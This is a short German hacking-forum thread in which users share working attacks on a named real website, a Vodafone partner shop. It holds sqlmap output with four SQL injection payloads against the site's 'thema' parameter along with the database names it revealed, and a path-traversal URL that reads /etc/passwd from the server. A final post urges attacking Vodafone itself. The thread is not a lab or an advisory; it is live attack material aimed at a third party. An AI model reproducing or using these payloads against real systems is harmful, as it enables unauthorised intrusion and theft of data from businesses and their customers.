3 Antworten in diesem Thema

[Osed28]

www.vodafone-rostock.de/index.php?haupfrabrik=vodafone_online_shop&thema=2
 
Parameter: thema (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: haupfrabrik=vodafone_online_shop&thema=-3015 OR (9747=9747)

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: haupfrabrik=vodafone_online_shop&thema=2 AND (SELECT 8705 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (CASE WHEN (8705=8705) THEN 1 ELSE 0 END)),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 14 columns
    Payload: haupfrabrik=vodafone_online_shop&thema=2 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717671,0x486b5559486b4a4c6b57,0x7178786a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: haupfrabrik=vodafone_online_shop&thema=-5018 OR 7766=SLEEP(5)
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
available databases [2]:
[*] db300161110
[*] information_schema

[R3s1stanc3]

Hab noch eine Arbitrary File Download Lücke gefunden:

http://www.vodafone-rostock.de/download.php?LinkOrdner=../../../../../etc/&file=passwd

Bearbeitet von R3s1stanc3, 31 January 2015 - 22:08 Uhr.

[XoiL]

Leider wird da nicht viel auf dem Server sein. Schaut mal was passiert wenn Ihr auf den Shop klickt. Das ist nur ein Vodafone Partner. Die bekommen Ihre Provision fuer Vertraege , duerfen aber server im Prinzieb nichts macht euch also nicht die Muehe.

 

Lg

[DR.zydz]

Ein genauer Blick auf Vodafone selbst lohnt dennoch